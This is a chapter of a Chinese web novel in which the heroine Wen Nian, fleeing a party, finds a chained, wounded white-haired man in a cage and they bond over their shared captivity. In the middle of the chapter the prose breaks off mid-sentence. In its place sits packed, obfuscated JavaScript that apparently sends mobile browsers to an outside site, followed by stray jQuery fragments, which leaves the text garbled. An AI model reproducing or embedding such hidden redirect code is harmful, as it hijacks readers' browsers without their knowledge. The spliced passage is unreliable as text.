72. 第七十二章
作品:《缺爱的万人迷》 所以……被抛弃是早已经习惯了的事……
没什么大不了的,无论是素未谋面的妈妈、相依为命三年,最为重要的朋友,还是差一点便可以拥有的家人……
所有人最后都会离开她……
没有什么是可以抓得住的……这个世上,她拥有的一向很少。
她现在只有温阿姨了……对了,还有裴瑾,
裴瑾!
想到男人,温念原本枯槁的心脏便再次生出希望,心中是迫不及待的想要见到对方,哪怕不能说话,只是远远的望着也好。
她深吸口气,扶着墙挣扎着站起身,却因为保持一个姿势坐得太久,两条腿都已经麻木,只是稍微一动,便像是过了电般,麻酥酥的疼。
温念就这样又站在原地缓了一会,虽然很想一个人躲在这里直到地老天荒,但心里清楚,这是不现实的。
该面对的东西一样都逃不掉,她无法逃避,也没资格逃避。
于是,她咬着牙整理下粉色的纱裙,吸了吸鼻子,用手背擦干脸上的泪水,又顺了顺头发。
直到确保自己的样子不至于太过狼狈,至少不会引人注目到成为全场的焦点,她才慢慢走到门前,将厚重的大门轻轻推开一条门缝——
长长的走廊安静又空旷,周遭没有一个人影,温念松了口气,正要离开,却突然听到一阵有些刺耳的,金属质感的‘哗啦哗啦’声。
!!!
是谁?
这声音出现得如此突然,将温念吓了一跳。
她惊愕转头四望,走廊灯光昏暗,但的确空无一人。
“哗啦呼啦~”
刺耳的金属摩擦声再次响起,温念猛地转过身,才意识那声音竟然不是来自走廊,而是自己身后,那个原本她以为空无一人的房间。
房间里竟然有人!
这个念头冲进温念的脑海,也让她瞬间头皮发麻,惊出一身冷汗。
可,怎么会呢?
在这间房间里,她先后见了裴瑾与封烈两个人。她虽然是无法使用异能的泥巴种,可这两位都是战斗力S级别的超级高手,如果真的有第三个人藏在暗处,他们怎么会一无所察?
温念的心脏被猛地提起,目光十分警觉的打量起四周。
之前她的情绪太激动,所以一直没有注意到周遭的环境,如今仔细去看,才发现这个房间的布局十分奇怪。
空旷的大厅,地板是用不知名金属材质制成的,光滑又坚硬。
墙壁似乎也不是普通的石板,银色的金属质地,上面挂着几幅意义不明的油画,巨大的色块互相碰撞,线条杂糅,在昏暗的光线下闪烁着幽冷阴寒的光点。
而在另一边的墙角,则高高伫立着七八个造型诡异的黑影,像是柜子,又像是废弃的家具,上面整齐的蒙着白布,也就无法窥探其真面目。
方才的铁链声,就是从其中一个柜子中发出的。
温念就这样站在原地犹豫了许久,才慢慢走上前,试探性的伸出手,扯住那张蒙着的白布。
不知为何,她总觉得这幅场景有些熟悉,似乎与某个令人印象深刻的瞬间重合在一起。
她深吸口气,一鼓作气扯下那块白布,视线所看到的东西让她的心提起,却并未过于恐惧,
熟悉的铁笼,熟悉的男人,熟悉的凌乱而特别的灰白色短发。
温念缓缓吐出那口气,双腿有些发软,脑子乱糟糟的,说不出是什么感觉。
她曾经在苏家的宴会上见过他。
与那次相比,眼前男人的处境似乎并没有什么好转,他的伤势依旧严重,横七竖八的鞭痕……哦,不,这次是新伤,旧伤未愈,又添新伤,密密麻麻,横七竖八的伤口,有的还渗着血迹。
他身上的衣服破破烂烂,靠坐在笼角,头低低的垂着,因此温念也就看不清他的表情。
他这次并没有被钉在十字架上,但也没有好多少,双手双脚都被粗壮的铁链死死拴着,温念方才听到的声音就是他不小心拖动铁链发出的摩擦声。
“喂,你……你还好吧?”
温念声音颤抖。
她的目光从对方发着惨白色光芒的诡异发色,移到瘦削的胸膛,最后落到他低低垂着的脸上。
虽然曾经受到惊吓,但不知为何,对于眼前这个看起来很恐怖的男人,她其实并不抵触……
甚至,有种隐隐的亲近。
温念不知道怎么去形容那种感觉,是同病相怜吗?
还是同情心?
在如此压抑,走投无路的情况下,看到一个比自己更加凄惨的同类,那种微妙的共鸣感,渴望得到理解,期待着有人互相舔舐伤口的期待?
温念从不觉得自己是个圣母,因为弱小,所以她一向谨言慎行,因为知道,只有夹着尾巴做人,忍耐忍耐再忍耐,才有可能在这绝望的境遇中寻找到一线生机。
可是面对这个一看就是麻烦的‘危险分子’,她却鬼使神差的没有马上离开,反而站在原地,声音有些颤抖的主动张口。
疯了,真是疯了。
问出这句话后,温念的整颗心都在剧烈的震颤。
可也不知是不是过于紧张,在剧烈的情绪波动后,反倒生出一种难以言表的平静。
很难形容的感觉,就像是筋疲力尽后的释然。
她已经孤单了太久,无人理解,无人倾述,无论是温阿姨,还是裴瑾,他们对她也很好,真心,温柔,但从没有人可以真正对她感同身受。
她一时有些颓然,那种渴望被理解的感觉占据上风,在这无比混乱的夜色中,甚至生出一种莫名的、微妙的依赖感。
温念不知道自己是不是已经疯了,但在这瞬间,她的心的确变得湿润而柔软,就像一个迷失了太久的旅人,终于见到老友般,浑身失去力气,慢慢在铁笼边坐了下来。
笼中的男人始终没有动静,布满鞭痕的胸口剧烈起伏着,灰白杂乱的短发遮住大半张脸,露出的半截下巴肤色惨白而毫无血色。
夜色如墨,没有星光点缀,只有一轮朦胧的弯月半死不活的挂在天边,投下冷淡的、寂寞的光。
空荡荒凉的房间,与门外觥筹交错的热闹宴会是两个完全不同的世界,就像是冰与火,无法相融。
其实早该意识到的……不同世界的人,无法真正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15175437|159818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
触碰到彼此的事实。
无论是封烈还是裴瑾,甚至是第一军校里的所有人,横在他们之间的那条深不见底的鸿沟——
名为阶级。
“你也是被他们抓来的吗?”
不知过了多久,温念才慢慢张口,有些喘息的这样问道。
显然,她误会了白发男人的身份,以为对方和她一样,也是被有钱人抓来、无法逃脱的宠物。
但她这样想也没错。从某种意义上来说,零,也就是铁笼中的男人,的确只是个宠物。
——人形兵器,即墨家豢养的野犬,作为工具存在的人类,也是即墨腾的亲生骨肉。
是啊,从外表看,他们此时的处境完全不同。
一个精致华服,一个满身伤痕。
但本质都是一样的。
笼子的大小或许有差别,但同样禁锢了灵魂。
或是精心装点,摆在橱窗里的洋娃娃;或是拴着铁链,训练有素的野犬,但都不是人,因为没有尊严。
尊严这个东西,对某些人而言是可以随意舍弃的筹码,为了换得一些好处,甘愿舍去。
但当你真的失去,又会发现,没有它,任何物质财富都没有了价值。
这也是温念痛苦的根源。因为无论如何辛苦,她始终无法丢弃作为人类的尊严,哪怕这份不平等被包装成所谓宠爱。
笼子里的白发男人依旧沉默,昏暗的光线里,灰白色的短发在月光下散发着凄清而惨然的光。
就在温念以为他再也不会张口的时候,男人却突然说话了,声音也如他的人一般怪异,音调滞涩,沙哑不堪。
“他们两个……哪个,是你男朋友?”
他的语速很慢,就像是一栋沉寂了许久的机器,缓缓运转,带着一种许久未使用的生疏与笨拙。
温念愣住,一时不知是该惊讶于对方无比沙哑的音调,还是惊讶他的问题。
她沉默了一会,吸吸鼻子,不知为何,在这个看不见脸的陌生男人面前,感受到一种油然而生的羞耻和委屈。
她就这样犹豫了一会,才垂着脸慢慢摇了摇头:
“……都不是。”
很多话是不需要说得那么明白的,对方就已经可以猜到原因。
毕竟,他们拥有相同的处境。更别说,他方才就在屋内,将几人的对话都听得一清二楚。
男人则再次陷入沉默,在听到了温念的回答之后。
他瘦削的胸口一直剧烈的起伏着,仿佛陷入某种痛苦般,喘息声也变得愈发急促而沉重、
温念有些担忧的站起身,两只手紧紧抓着铁笼的链条,以为他是因为伤势恶化才如此痛苦。
“你怎么了!”
“喂,你没事吧?你还好吗?”
女孩的声音轻柔,如同春日清晨最纯净的甘露,拥有着治愈一切的能力。
这么多年,无数个难熬的日日夜夜里,在他漆黑一片的梦里,也不止一次听到过她的声音。
温念不知道的是,她也是某个人的天使。
就像是一道光,曾经照亮过少年困顿不堪的灵魂,是他无趣生命中唯一的救赎。